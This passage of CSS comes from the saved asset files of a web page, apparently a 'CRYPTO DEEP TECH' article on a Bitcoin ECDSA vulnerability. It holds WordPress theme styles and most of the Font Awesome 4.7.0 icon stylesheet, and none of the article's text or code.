0}.wp-caption-text{text-align:center}.gallery{margin-bottom:1.5em;display:grid;grid-gap:1.5em}.gallery-item{display:inline-block;text-align:center;width:100%}.gallery-columns-2{grid-template-columns:repeat(2,1fr)}.gallery-columns-3{grid-template-columns:repeat(3,1fr)}.gallery-columns-4{grid-template-columns:repeat(4,1fr)}.gallery-columns-5{grid-template-columns:repeat(5,1fr)}.gallery-columns-6{grid-template-columns:repeat(6,1fr)}.gallery-columns-7{grid-template-columns:repeat(7,1fr)}.gallery-columns-8{grid-template-columns:repeat(8,1fr)}.gallery-columns-9{grid-template-columns:repeat(9,1fr)}.gallery-caption{display:block}.infinite-scroll .posts-navigation,.infinite-scroll.neverending .site-footer{display:none}.infinity-end.neverending .site-footer{display:block}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute !important;width:1px;word-wrap:normal !important}.screen-reader-text:focus{background-color:#f1f1f1;border-radius:3px;box-shadow:0 0 2px 2px rgba(0,0,0,.6);clip:auto !important;clip-path:none;color:#21759b;display:block;font-size:.875rem;@extend %bold;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}#primary[tabindex="-1"]:focus{outline:0}.alignleft{float:left;margin-right:1.5em;margin-bottom:1.5em}.alignright{float:right;margin-left:1.5em;margin-bottom:1.5em}.aligncenter{clear:both;display:block;margin-left:auto;margin-right:auto;margin-bottom:1.5em} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_8f426a1779caff96bb3f2afbcff86bc9.css: -------------------------------------------------------------------------------- 1 | .is-style-widget-title{font-weight:900}@keyframes tabActive{0%{width:0}100%{width:50%}}.is-style-widget-title{margin-top:0;margin-bottom:.75em;font-size:1.5rem}#itng-before-content .is-style-widget-title{text-align:center} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_c495654869785bc3df60216616814ad1.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | @font-face{font-family:'FontAwesome';src:url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/fonts/../fonts/fontawesome-webfont.eot?v=4.7.0);src:url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/fonts/../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format('embedded-opentype'),url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/fonts/../fonts/fontawesome-webfont.woff2?v=4.7.0) format('woff2'),url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/fonts/../fonts/fontawesome-webfont.woff?v=4.7.0) format('woff'),url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/fonts/../fonts/fontawesome-webfont.ttf?v=4.7.0) format('truetype'),url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/fonts/../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format('svg');font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{